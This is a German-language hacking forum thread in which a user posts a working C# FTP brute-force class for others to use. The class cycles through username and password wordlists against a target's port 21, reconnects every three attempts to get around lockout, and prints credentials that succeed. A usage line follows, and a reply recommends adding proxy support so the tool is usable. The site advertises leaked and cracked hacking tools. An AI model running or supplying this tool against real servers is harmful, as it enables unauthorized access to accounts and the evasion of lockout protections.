Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

Ftp Bruteforce Class

- - - - -

  • Bitte melde dich an um zu Antworten
Eine Antwort in diesem Thema

#1
<Kevin>

<Kevin>

    Pentester

  • Premium Member
  • Likes
    11
  • 104 Beiträge
  • 6 Bedankt
  • Android
  • Windows

Hallo.

Ich hab hier eine simple Ftp Bruteforceclass (Accounts und Kennwörter werden per yield returnt).

Vielleicht hat jemand dafür Verwendung, eventuell hat auch jemand
Verbesserungsvorschläge (das ist jetzt nicht wirklich extrem schnell von der Verbindung her).

Dass mit der neuen Verbindung nach 3 Versuchen ist, weil man nach 3 Versuchen geblockt wird sonst,
daher muss die Verbindung neu hergestellt werden.

 

class FtpBrute
        {
           private struct Connection
           {
               public StreamWriter Wr;
               public StreamReader Re;


               public Connection(StreamWriter wrp, StreamReader rep)
               {
                   this.Wr = wrp;
                   this.Re = rep;
               }
           }




           public void StartBruteForce(String Host, String NicklistPat, String PasslistPat)
           {
               Connection conne = FtpConnect(Host);
               String resp = String.Empty;


               int i = 0;


               foreach (String a in GetStrings(NicklistPat))
               {
                   foreach (String b in GetStrings(PasslistPat))
                   {
                       if (i % 3 == 0) { conne = FtpConnect(Host); }
                       conne.Wr.WriteLine(String.Concat("user ", a));
                       resp = conne.Re.ReadLine();
                       conne.Wr.WriteLine(String.Concat("pass ", b));
                       resp = conne.Re.ReadLine();
                       i++;
                       Console.WriteLine(String.Concat(">> Trying ", a, " with pass ", b));
                       if (resp.StartsWith("230"))
                       {
                           Console.WriteLine(String.Concat("Successfull! ", a, " ", b));
                           break;
                       }


                   }
               }


           }




            private Connection FtpConnect(String host)
           {
               TcpClient client = new TcpClient(host, 21);
               NetworkStream con = client.GetStream();


               StreamWriter wr = new StreamWriter(con);
               StreamReader re = new StreamReader(con);
               wr.AutoFlush = true;


               String response = re.ReadLine();
               return new Connection(wr, re);


           }
           


            private IEnumerable <String> GetStrings(String Pat)
            {
                FileStream fs = File.Open(Pat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);


                using (StreamReader sw = new StreamReader(fs, Encoding.UTF8))
                {
                    while(!sw.EndOfStream) {yield return sw.ReadLine();}
                }
            }


        }

Aufrufen braucht man nur 

StartBruteForce("HierderHost", "PfadzurNicklist", "PfadzurPasslist");


Thanked by 1 Member:
abramas

#2
FalkE

FalkE

    1337

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    4
  • 349 Beiträge
  • 79 Bedankt
  • Android [root]
  • Linux

proxy support einbauen sonst nicht zu gebrauchen.

thx anyways



Thanked by 1 Member:
len0


  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 53 user(s)


    <Kevin>, 3rr0r!st, abramas, and6578, B1nary, Becks, Bloodman, bones, Born2Hack, Ch!ller, Cranky, Cube, Denver, Deus_Ex, devmonkey, dvalar, EiLafJu, Emalik Xantier, enjoy, FalkE, Filth, Framerater, hackEmcee, hcqn, JohnR, Juri, kiwitone, kollegah25, len0, lNobodyl, Meikyo, MiD_NiGHT, Mk3E, muLTiii, n1nja, Neonxen, paulaner, pdr0, peppi200, PHIPU, Ragevalley, rsneumann, Rushkiller1000, SAR, smc2014, sniffer, Take1T, tingle, ToWFiNiT, weedneger77, x1z0ng, xmmlegends, xrahitel
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.